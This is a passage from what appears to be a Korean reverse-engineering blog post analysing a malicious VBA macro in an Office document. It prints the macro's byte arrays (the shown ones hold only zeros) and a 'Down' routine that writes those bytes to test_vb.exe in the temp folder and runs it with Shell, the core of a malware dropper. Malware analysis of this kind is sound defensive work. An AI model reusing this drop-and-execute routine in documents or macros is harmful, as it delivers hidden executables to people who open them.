    a(460) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(461) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(462) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(463) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(464) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(465) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(466) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(467) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(468) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
End Sub

Private Sub Down()
    Dim fnum As Integer
    Dim fname As String
    Dim i As Integer
    Dim j As Integer
    Dim aa As Byte
    Init0
    Init1
    Init2
    Init3
    Init4
    Init5
    Init6
    Init7
    Init8
    Init9
    Init10
    Init11
    Init12
    Init13
    Init14
    Init15
    fnum = FreeFile
    fname = Environ("TMP") & "\test_vb.exe"
    Open fname For Binary As #fnum
    For i = 1 To 468
        For j = 0 To 127
            aa = a(i)(j)
            Put #fnum, , aa
        Next j
    Next i
    Close #fnum
    Dim rss
    rss = Shell(fname, 1)
End Sub

0x90. 버그¶

0x99. 참고¶

laikaBOSS : 진단 모듈

이 블로그 검색

Anatomic Reverse Engineering

[Format] OLE #06. VBA - ukraine (update. 2016.03.25)